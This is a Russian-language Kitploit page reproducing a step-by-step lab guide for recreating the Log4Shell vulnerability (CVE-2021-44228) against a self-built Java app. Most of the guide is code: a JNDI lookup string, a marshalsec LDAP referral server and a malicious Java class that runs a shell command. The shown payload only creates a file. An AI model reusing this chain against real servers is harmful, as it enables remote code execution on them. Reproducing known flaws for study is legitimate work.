Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228 — Пошаговое руководство по воспроизведению CVE-2021-44228 (Log4Shell) с использованием JDK 8u20, уязвимой версии Log4j 2.14.1, LDAP-сервера marshalsec и компиляции пользовательской полезной нагрузки. | Kitploit
Инструменты/GitHubGitHub/racoon-rac/cve-2021-44228
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

Пошаговое руководство по воспроизведению CVE-2021-44228 (Log4Shell) с использованием JDK 8u20, уязвимой версии Log4j 2.14.1, LDAP-сервера marshalsec и компиляции пользовательской полезной нагрузки.

Репозиторий
53 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-44228

Думаю, эта история гораздо практичнее (плачу) christophetd/log4shell-vulnerable-app

Я просто заинтересовался и порывисто исследовал, так что возможны неточности и ошибки.
Пожалуйста, действуйте на свой страх и риск.

Создание среды для воспроизведения.

Предполагается, что будет работать в среде linux.

1. Скачивание jdk

Начиная с jdk8u191 была добавлена опция com.sun.jndi.rmi.object.trustURLCodebase, и по умолчанию она установлена в False. В таком состоянии невозможно загрузить внешний подготовленный class, поэтому в этот раз используем более раннюю версию.
(Можно ли загрузить внутренний класс или обойти это??) https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Прямое скачивание jdk8u20
Распакуйте и положите, например, в /opt.

2. Подготовка уязвимого log4j

Скачивание log4j
Распакуйте и извлеките log4j-api-2.14.1.jar и log4j-core-2.14.1.jar (в этот раз я положил их в директорию log4japp).

3. Прописываем classpath для log4j

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. Создаём простое приложение

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // Без /resource у меня не работало.
        }
}

5. Подготовка marshalsec

mbechler/marshalsec
Перенаправляем ldap-запрос на веб-сервер.

root@kitploit:~
mvn clean package -DskipTests

Начинаем прослушивание

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

Также подготавливаем цель перенаправления для marshalsec

root@kitploit:~
python3 -m http.server 8888

6. Подготавливаем класс, который нужно передать marshalsec

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

Компилируем с помощью установленного jdk8u20

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. Эксплуатация

Компилируем и запускаем с помощью установленного jdk8u20.

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

Скачать инструмент